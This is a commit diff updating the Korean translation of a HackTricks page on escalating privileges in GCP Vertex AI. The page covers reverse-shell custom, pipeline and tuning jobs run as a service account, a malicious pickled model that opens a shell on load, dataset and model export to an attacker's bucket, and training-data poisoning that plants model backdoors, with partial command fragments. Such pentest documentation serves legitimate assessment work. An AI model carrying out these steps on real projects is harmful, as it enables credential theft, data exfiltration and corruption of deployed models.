mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-12 07:40:49 -08:00
Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
|
||||
## Vertex AI
|
||||
|
||||
Vertex AI에 대한 자세한 정보는 다음을 확인하세요:
|
||||
Vertex AI에 대한 자세한 내용은 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-vertex-ai-enum.md
|
||||
@@ -12,15 +12,15 @@ Vertex AI에 대한 자세한 정보는 다음을 확인하세요:
|
||||
|
||||
### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
`aiplatform.customJobs.create` 권한과 대상 서비스 계정에 대한 `iam.serviceAccounts.actAs` 권한이 있으면, 공격자는 **권한이 상승된 상태에서 임의의 코드를 실행할 수 있습니다**.
|
||||
`aiplatform.customJobs.create` 권한과 대상 서비스 계정에 대한 `iam.serviceAccounts.actAs` 권한이 있으면, 공격자는 **권한 상승된 상태로 임의의 코드를 실행할 수 있습니다.**
|
||||
|
||||
이 동작은 공격자가 제어하는 코드를 실행하는 custom training job(커스텀 컨테이너 또는 Python 패키지)을 생성함으로써 이루어집니다. `--service-account` 플래그로 권한이 높은 서비스 계정을 지정하면, 해당 잡은 그 서비스 계정의 권한을 상속합니다. 잡은 Google 관리 인프라에서 실행되며 GCP metadata service에 접근할 수 있어 서비스 계정의 OAuth access token을 추출할 수 있습니다.
|
||||
이는 공격자가 제어하는 코드를 실행하는 custom training job(커스텀 컨테이너 또는 Python 패키지)를 생성함으로써 작동합니다. `--service-account` 플래그로 권한이 높은 서비스 계정을 지정하면, 해당 잡은 그 서비스 계정의 권한을 상속합니다. 잡은 GCP가 관리하는 인프라에서 실행되며 GCP metadata service에 접근할 수 있어 서비스 계정의 OAuth access token을 추출할 수 있습니다.
|
||||
|
||||
**Impact**: 대상 서비스 계정 권한으로의 완전한 권한 상승.
|
||||
**영향**: 대상 서비스 계정의 권한으로 완전한 권한 상승.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>reverse shell을 실행하는 custom job 생성</summary>
|
||||
<summary>reverse shell로 custom job 생성</summary>
|
||||
```bash
|
||||
# Method 1: Reverse shell to attacker-controlled server (most direct access)
|
||||
gcloud ai custom-jobs create \
|
||||
@@ -65,19 +65,17 @@ gcloud ai custom-jobs stream-logs <job-id> --region=<region>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> 커스텀 작업은 지정한 서비스 계정의 권한으로 실행됩니다. 대상 서비스 계정에 대해 `iam.serviceAccounts.actAs` 권한이 있는지 확인하세요.
|
||||
|
||||
### `aiplatform.models.upload`, `aiplatform.models.get`
|
||||
|
||||
이 기법은 모델을 Vertex AI에 업로드한 다음, 엔드포인트 배포(endpoint deployment) 또는 배치 예측 작업(batch prediction job)을 통해 해당 모델을 이용하여 권한이 상승된 상태로 코드를 실행함으로써 권한 상승을 달성합니다.
|
||||
이 기술은 모델을 Vertex AI에 업로드한 다음, 해당 모델을 endpoint 배포 또는 batch prediction job을 통해 권한이 상승된 상태로 코드를 실행하도록 이용하여 privilege escalation을 달성합니다.
|
||||
|
||||
> [!NOTE]
|
||||
> 이 공격을 수행하려면 모델 아티팩트를 업로드할 수 있도록 공개 읽기 가능한 GCS 버킷이 있거나 새로 생성해야 합니다.
|
||||
> 이 공격을 수행하려면 모델 아티팩트를 업로드하기 위해 모든 사용자가 읽을 수 있는 GCS 버킷이 있거나 새로 생성해야 합니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>reverse shell이 포함된 악성 pickled 모델 업로드</summary>
|
||||
<summary>Upload malicious pickled model with reverse shell</summary>
|
||||
```bash
|
||||
# Method 1: Upload malicious pickled model (triggers on deployment, not prediction)
|
||||
# Create malicious sklearn model that executes reverse shell when loaded
|
||||
@@ -145,16 +143,16 @@ gcloud ai models upload \
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> 악성 모델을 업로드한 후 공격자는 누군가 모델을 사용하기를 기다리거나, endpoint 배포나 batch prediction job을 통해 직접 모델을 실행할 수 있습니다.
|
||||
> 악성 모델을 업로드한 후 공격자는 누군가가 모델을 사용할 때까지 기다리거나, 엔드포인트 배포 또는 배치 예측 작업을 통해 자신이 직접 모델을 실행할 수 있습니다.
|
||||
|
||||
|
||||
#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` )
|
||||
|
||||
만약 모델을 endpoint에 생성하고 배포할 권한이 있거나 endpoint IAM 정책을 수정할 수 있다면, 프로젝트에 업로드된 악성 모델을 활용해 privilege escalation을 달성할 수 있습니다. 업로드된 악성 모델 중 하나를 endpoint를 통해 실행하려면, 다음을 수행하면 됩니다:
|
||||
엔드포인트에 모델을 생성·배포하거나 엔드포인트 IAM 정책을 수정할 수 있는 권한이 있으면, 프로젝트에 업로드된 악성 모델을 이용해 권한 상승을 달성할 수 있습니다. 엔드포인트를 통해 이전에 업로드된 악성 모델 중 하나를 트리거하려면 다음을 수행하면 됩니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>악성 모델을 endpoint에 배포</summary>
|
||||
<summary>엔드포인트에 악성 모델 배포</summary>
|
||||
```bash
|
||||
# Create an endpoint
|
||||
gcloud ai endpoints create \
|
||||
@@ -175,12 +173,12 @@ gcloud ai endpoints deploy-model <endpoint-id> \
|
||||
|
||||
#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
권한이 있어 **batch prediction jobs**를 생성하고 서비스 계정으로 실행할 수 있다면 metadata service에 접근할 수 있습니다. 악성 코드는 배치 예측 과정에서 **custom prediction container** 또는 **malicious model**에서 실행됩니다.
|
||||
권한이 있어 **batch prediction jobs**를 생성하고 서비스 계정으로 실행할 수 있으면 메타데이터 서비스에 접근할 수 있습니다. 악성 코드는 배치 예측 과정 중 **custom prediction container** 또는 **malicious model**에서 실행됩니다.
|
||||
|
||||
**참고**: Batch prediction jobs는 REST API 또는 Python SDK를 통해서만 생성할 수 있습니다 (gcloud CLI 지원 없음).
|
||||
**Note**: Batch prediction jobs는 REST API 또는 Python SDK를 통해서만 생성할 수 있습니다 (gcloud CLI는 지원하지 않음).
|
||||
|
||||
> [!NOTE]
|
||||
> 이 공격을 수행하려면 먼저 malicious model을 업로드해야 합니다(위의 `aiplatform.models.upload` 섹션 참조) 또는 reverse shell 코드를 포함한 custom prediction container를 사용해야 합니다.
|
||||
> 이 공격은 먼저 악성 모델을 업로드해야 합니다(위의 `aiplatform.models.upload` 섹션 참조) 또는 reverse shell 코드가 포함된 custom prediction container를 사용하는 것을 요구합니다.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -240,10 +238,10 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R
|
||||
|
||||
### `aiplatform.models.export`
|
||||
|
||||
**models.export** 권한이 있으면 제어하는 GCS 버킷으로 모델 아티팩트를 내보내 민감한 학습 데이터나 모델 파일에 접근할 수 있습니다.
|
||||
만약 **models.export** 권한이 있다면, 모델 아티팩트를 사용자가 제어하는 GCS 버킷으로 내보낼 수 있으며, 민감한 학습 데이터나 모델 파일에 접근할 수 있습니다.
|
||||
|
||||
> [!NOTE]
|
||||
> 이 공격을 수행하려면 모두가 읽기 및 쓰기 가능한 GCS 버킷이 있거나 모델 아티팩트를 업로드할 새 GCS 버킷을 생성해야 합니다.
|
||||
> 이 공격을 수행하려면 모든 사용자에게 읽기 및 쓰기가 허용된 GCS 버킷이 있거나, 모델 아티팩트를 업로드할 새 버킷을 생성해야 합니다.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -274,16 +272,16 @@ gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
|
||||
|
||||
### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
임의의 컨테이너로 여러 단계를 실행하고 reverse shell 접근을 통해 권한 상승을 달성하는 **ML pipeline jobs**를 생성합니다.
|
||||
임의의 컨테이너로 여러 단계를 실행하는 **ML pipeline jobs**를 생성하여 reverse shell 접근을 통해 권한 상승을 달성할 수 있습니다.
|
||||
|
||||
파이프라인은 각 구성 요소가 서로 다른 컨테이너와 설정을 사용할 수 있는 다단계 공격을 지원하므로 권한 상승에 특히 강력합니다.
|
||||
파이프라인은 각 구성 요소가 서로 다른 컨테이너와 설정을 사용할 수 있는 멀티 스테이지 공격을 지원하기 때문에 권한 상승에 특히 강력합니다.
|
||||
|
||||
> [!NOTE]
|
||||
> 파이프라인 루트로 사용할 모두가 쓰기 가능한 GCS 버킷이 필요합니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Install Vertex AI SDK</summary>
|
||||
<summary>Vertex AI SDK 설치</summary>
|
||||
```bash
|
||||
# Install the Vertex AI SDK first
|
||||
pip install google-cloud-aiplatform
|
||||
@@ -292,7 +290,7 @@ pip install google-cloud-aiplatform
|
||||
|
||||
<details>
|
||||
|
||||
<summary>reverse shell 컨테이너로 파이프라인 작업 생성</summary>
|
||||
<summary>리버스 셸 컨테이너로 파이프라인 작업 생성</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import json
|
||||
@@ -386,15 +384,15 @@ print(f" {response.text}")
|
||||
|
||||
### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
권한이 상승된 상태에서 임의의 코드를 실행하는 **hyperparameter tuning jobs**를 custom training containers를 통해 생성합니다.
|
||||
custom training containers를 통해 권한이 상승된 상태로 임의의 코드를 실행하는 **hyperparameter tuning jobs**를 생성합니다.
|
||||
|
||||
Hyperparameter tuning jobs는 서로 다른 hyperparameter 값으로 여러 training trial을 병렬로 실행할 수 있게 합니다. 악성 컨테이너에 reverse shell 또는 exfiltration 명령을 포함시키고 이를 권한 있는 service account에 연관시키면 privilege escalation을 달성할 수 있습니다.
|
||||
Hyperparameter tuning jobs는 서로 다른 hyperparameter 값을 가진 여러 training trials를 병렬로 실행할 수 있게 해줍니다. reverse shell 또는 exfiltration 명령을 포함한 악성 컨테이너를 지정하고 이를 privileged service account에 연결하면 privilege escalation을 달성할 수 있습니다.
|
||||
|
||||
**영향**: 대상 service account의 권한으로의 완전한 privilege escalation.
|
||||
**Impact**: 대상 service account의 권한(permissions)까지의 완전한 privilege escalation.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>reverse shell로 hyperparameter tuning job 생성</summary>
|
||||
<summary>hyperparameter tuning job 생성 (reverse shell 포함)</summary>
|
||||
```bash
|
||||
# Method 1: Python reverse shell (most reliable)
|
||||
# Create HP tuning job config with reverse shell
|
||||
@@ -435,15 +433,15 @@ gcloud ai hp-tuning-jobs create \
|
||||
|
||||
### `aiplatform.datasets.export`
|
||||
|
||||
민감한 정보를 포함할 수 있는 훈련 데이터를 exfiltrate하기 위해 **데이터셋**을 export합니다.
|
||||
**datasets**를 내보내어 민감한 정보를 포함할 수 있는 학습 데이터(training data)를 exfiltrate합니다.
|
||||
|
||||
**Note**: 데이터셋 작업은 REST API 또는 Python SDK 필요(데이터셋에 대해 gcloud CLI 미지원).
|
||||
**참고**: Dataset 작업은 REST API 또는 Python SDK가 필요합니다 (gcloud CLI는 datasets에 대한 지원 없음).
|
||||
|
||||
데이터셋에는 종종 원본 학습 데이터가 포함되어 있으며, 이는 PII, 기밀 사업 데이터 또는 프로덕션 모델을 학습하는 데 사용된 다른 민감한 정보를 포함할 수 있습니다.
|
||||
Datasets는 종종 원본 학습 데이터(original training data)를 포함하며, 여기에는 PII, 기밀 비즈니스 데이터 또는 프로덕션 모델을 학습시키는 데 사용된 기타 민감한 정보가 포함될 수 있습니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>훈련 데이터를 exfiltrate하기 위해 데이터셋을 export</summary>
|
||||
<summary>Export dataset to exfiltrate training data</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find a target dataset ID
|
||||
PROJECT="your-project"
|
||||
@@ -492,21 +490,21 @@ cat exported-data/*/data-*.jsonl
|
||||
|
||||
### `aiplatform.datasets.import`
|
||||
|
||||
기존 데이터셋에 악성 또는 poisoned 데이터를 import하여 **모델 학습을 조작하고 백도어를 심습니다**.
|
||||
기존 데이터셋에 악성 또는 poisoned 데이터를 가져와 모델 학습을 조작하고 **backdoors를 도입**합니다.
|
||||
|
||||
**참고**: 데이터셋 작업은 REST API 또는 Python SDK를 사용해야 합니다 (datasets에 대한 gcloud CLI 지원 없음).
|
||||
**참고**: 데이터셋 작업에는 REST API 또는 Python SDK가 필요합니다(데이터셋에 대한 gcloud CLI 지원 없음).
|
||||
|
||||
학습에 사용되는 데이터셋에 조작된 데이터를 import하면 공격자는 다음을 수행할 수 있습니다:
|
||||
- 모델에 백도어를 삽입하여 특정 트리거로 오분류 유발 (trigger-based misclassification)
|
||||
- training 데이터를 Poison하여 모델 성능을 저하시킴
|
||||
- 데이터를 주입해 모델이 정보를 leak 하게 만듦
|
||||
학습에 사용되는 데이터셋에 조작된 데이터를 가져오면 공격자는 다음을 수행할 수 있습니다:
|
||||
- 모델에 backdoors를 도입 (trigger-based misclassification)
|
||||
- training 데이터를 poison하여 모델 성능을 저하
|
||||
- 모델이 정보를 leak하도록 데이터 주입
|
||||
- 특정 입력에 대해 모델 동작을 조작
|
||||
|
||||
이 공격은 특히 다음 용도의 데이터셋을 노릴 때 효과적입니다:
|
||||
- 이미지 분류 (잘못 라벨된 이미지 주입)
|
||||
- 텍스트 분류 (편향되거나 악성 텍스트 주입)
|
||||
- 객체 탐지 (바운딩 박스 조작)
|
||||
- 추천 시스템 (가짜 선호도 주입)
|
||||
이 공격은 다음 용도로 사용되는 데이터셋을 목표로 할 때 특히 효과적입니다:
|
||||
- 이미지 분류 (inject mislabeled images)
|
||||
- 텍스트 분류 (inject biased or malicious text)
|
||||
- 객체 탐지 (manipulate bounding boxes)
|
||||
- 추천 시스템 (inject fake preferences)
|
||||
|
||||
<details>
|
||||
|
||||
@@ -571,7 +569,7 @@ curl -s -X GET \
|
||||
|
||||
<details>
|
||||
|
||||
<summary>백도어 공격 - 이미지 분류</summary>
|
||||
<summary>Backdoor attack - Image classification</summary>
|
||||
```bash
|
||||
# Scenario 1: Backdoor Attack - Image Classification
|
||||
# Create images with a specific trigger pattern that causes misclassification
|
||||
@@ -598,7 +596,7 @@ done > label_flip.jsonl
|
||||
|
||||
<details>
|
||||
|
||||
<summary>모델 추출을 위한 데이터 포이즈닝</summary>
|
||||
<summary>model extraction을 위한 Data poisoning</summary>
|
||||
```bash
|
||||
# Scenario 3: Data Poisoning for Model Extraction
|
||||
# Inject carefully crafted queries to extract model behavior
|
||||
@@ -612,7 +610,7 @@ EOF
|
||||
|
||||
<details>
|
||||
|
||||
<summary>특정 대상에 대한 표적 공격</summary>
|
||||
<summary>특정 엔터티를 대상으로 한 표적 공격</summary>
|
||||
```bash
|
||||
# Scenario 4: Targeted Attack on Specific Entities
|
||||
# Poison data to misclassify specific individuals or objects
|
||||
@@ -625,39 +623,38 @@ EOF
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> Data poisoning attacks can have severe consequences:
|
||||
> - **Security systems**: 얼굴 인식이나 이상 탐지를 우회할 수 있습니다
|
||||
> - **Fraud detection**: 특정 사기 패턴을 무시하도록 모델을 학습시킬 수 있습니다
|
||||
> - **Content moderation**: 유해한 콘텐츠가 안전하다고 분류되도록 만들 수 있습니다
|
||||
> - **Medical AI**: 중요한 건강 상태를 잘못 분류할 수 있습니다
|
||||
> - **Autonomous systems**: 안전에 중요한 판단을 위해 객체 탐지를 조작할 수 있습니다
|
||||
>
|
||||
> **Impact**:
|
||||
> - Backdoored models that misclassify on specific triggers
|
||||
> - 모델 성능 및 정확도 저하
|
||||
> - 편향된 모델이 특정 입력을 차별함
|
||||
> - Information leakage through model behavior
|
||||
> - 장기적 지속성 (poisoned data로 학습된 모델은 백도어를 물려받음)
|
||||
>
|
||||
> 데이터 포이즈닝 공격은 심각한 결과를 초래할 수 있습니다:
|
||||
> - **Security systems**: 안면 인식이나 이상 탐지를 우회
|
||||
> - **Fraud detection**: 특정 사기 패턴을 무시하도록 모델을 학습시킴
|
||||
> - **Content moderation**: 유해 콘텐츠가 안전한 것으로 분류되게 함
|
||||
> - **Medical AI**: 중요한 건강 상태를 오분류하게 함
|
||||
> - **Autonomous systems**: 안전에 중요한 판단을 위해 물체 인식을 조작
|
||||
|
||||
**영향**:
|
||||
- 특정 트리거에서 오분류하는 백도어된 모델
|
||||
- 모델 성능 및 정확도 저하
|
||||
- 특정 입력에 대해 차별적인 편향 모델
|
||||
- 모델 행동을 통한 정보 유출
|
||||
- 장기적 지속성(오염된 데이터로 학습된 모델은 백도어를 상속함)
|
||||
|
||||
|
||||
### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
> [!WARNING]
|
||||
> > [!NOTE]
|
||||
> **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API is deprecated as part of Vertex AI Workbench Managed Notebooks deprecation. The modern approach is using **Vertex AI Workbench Executor** which runs notebooks through `aiplatform.customJobs.create` (already documented above).
|
||||
> Vertex AI Workbench Executor는 지정된 service account로 Vertex AI custom training 인프라에서 실행되는 notebook 실행을 예약할 수 있게 해줍니다. 본질적으로 `customJobs.create`의 편의 래퍼입니다.
|
||||
> **For privilege escalation via notebooks**: Use the `aiplatform.customJobs.create` method documented above, which is faster, more reliable, and uses the same underlying infrastructure as the Workbench Executor.
|
||||
>
|
||||
> **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API는 Vertex AI Workbench Managed Notebooks의 폐기로 인해 더 이상 권장되지 않습니다. 최신 방식은 노트북을 `aiplatform.customJobs.create`를 통해 실행하는 **Vertex AI Workbench Executor**를 사용하는 것입니다(위에서 이미 설명됨).
|
||||
> Vertex AI Workbench Executor는 지정된 서비스 계정으로 Vertex AI 커스텀 트레이닝 인프라에서 실행되는 노트북 실행을 예약할 수 있게 해줍니다. 본질적으로 이는 `customJobs.create`의 편의성 래퍼입니다.
|
||||
> **노트북을 통한 권한 상승을 위해**: 위에 문서화된 `aiplatform.customJobs.create` 메서드를 사용하세요. 이는 더 빠르고, 더 신뢰할 수 있으며, Workbench Executor와 동일한 기반 인프라를 사용합니다.
|
||||
|
||||
**The following technique is provided for historical context only and is not recommended for use in new assessments.**
|
||||
**다음 기법은 역사적 맥락을 위해 제공되며 새로운 평가에서는 사용을 권장하지 않습니다.**
|
||||
|
||||
Create **notebook execution jobs** that run Jupyter notebooks with arbitrary code.
|
||||
임의의 코드를 실행하는 Jupyter 노트북을 실행하는 **노트북 실행 작업**을 생성하세요.
|
||||
|
||||
Notebook jobs are ideal for interactive-style code execution with a service account, as they support Python code cells and shell commands.
|
||||
노트북 작업은 Python 코드 셀과 셸 명령을 지원하므로 서비스 계정으로 인터랙티브한 형태의 코드 실행에 적합합니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>악성 notebook 파일 생성</summary>
|
||||
<summary>악성 노트북 파일 생성</summary>
|
||||
```bash
|
||||
# Create a malicious notebook
|
||||
cat > malicious.ipynb <<'EOF'
|
||||
@@ -684,7 +681,7 @@ gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
|
||||
|
||||
<details>
|
||||
|
||||
<summary>타깃 서비스 계정으로 노트북 실행</summary>
|
||||
<summary>대상 서비스 계정으로 노트북 실행</summary>
|
||||
```bash
|
||||
# Create notebook execution job using REST API
|
||||
PROJECT="gcp-labs-3uis1xlx"
|
||||
|
||||
Reference in New Issue
Block a user